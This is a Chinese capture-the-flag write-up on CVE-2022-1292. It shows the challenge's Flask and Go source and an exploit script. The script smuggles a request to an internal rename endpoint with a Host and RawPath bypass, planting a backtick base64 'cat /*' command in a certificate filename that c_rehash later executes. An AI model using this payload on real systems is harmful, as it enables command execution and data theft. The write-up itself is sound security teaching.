几天没做题了,有点生疏。看题吧。题目标签说是CVE-2022-1292,去看看。
意思就是在$fname处构造恶意文件名导致的命令注入,而且前面没有认真过滤,也就是文件名命令执行。
看看题目源码:
点击查看代码
import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import requestapp = Flask(__name__)app.config['SECRET_KEY'] = os.urandom(16)def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):root_key = rsa.generate_private_key(public_exponent=65537,key_size=2048,backend=default_backend())subject = issuer = x509.Name([x509.NameAttribute(NameOID.COUNTRY_NAME, Country),x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),x509.NameAttribute(NameOID.LOCALITY_NAME, City),x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),x509.NameAttribute(NameOID.COMMON_NAME, CommonName),x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),])root_cert = x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(root_key.public_key()).serial_number(x509.random_serial_number()).not_valid_before(datetime.datetime.utcnow()).not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=3650)).sign(root_key, hashes.SHA256(), default_backend())crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"with open(crt_name, "wb") as f:f.write(root_cert.public_bytes(serialization.Encoding.PEM))return crt_name@app.route('/', methods=['GET', 'POST'])
def index():return render_template("index.html")@app.route('/getcrt', methods=['GET', 'POST'])
def upload():Country = request.form.get("Country", "CN")Province = request.form.get("Province", "a")City = request.form.get("City", "a")OrganizationalName = request.form.get("OrganizationalName", "a")CommonName = request.form.get("CommonName", "a")EmailAddress = request.form.get("EmailAddress", "a")return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)@app.route('/createlink', methods=['GET'])
def info():json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}return json.dumps(json_data)@app.route('/proxy', methods=['GET'])
def proxy():uri = request.form.get("uri", "/")client = socket.socket()client.connect(('localhost', 8887))msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close'''client.send(msg.encode())data = client.recv(2048)client.close()return data.decode()app.run(host="0.0.0.0", port=8888)
点击查看代码
package mainimport ("github.com/gin-gonic/gin""os""strings"
)func admin(c *gin.Context) {staticPath := "/app/static/crt/"oldname := c.DefaultQuery("oldname", "")newname := c.DefaultQuery("newname", "")if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {c.String(500, "error")return}if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {err := os.Rename(staticPath+oldname, staticPath+newname)if err != nil {return}c.String(200, newname)return}c.String(200, "no")
}func index(c *gin.Context) {c.String(200, "hello world")
}func main() {router := gin.Default()router.GET("/", index)router.GET("/admin/rename", admin)if err := router.Run(":8887"); err != nil {panic(err)}
}
点击查看代码
import urllib.parse
uri = '''/admin%2frename?oldname=自己的证书名&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
'''
gopher = uri.replace("\n","\r\n")
aaa = urllib.parse.quote(gopher)
print(aaa)
证明我们构造成功执行了。访问createlink触发c_rehash,最后访问/static/crt/flag.txt拿到flag。
github cve-poc地址: https://github.com/alcaparra/CVE-2022-1292/blob/main/README.md
总结:
-
openssl中fname过滤不当导致的文件名命令执行漏洞
-
RawPath的绕过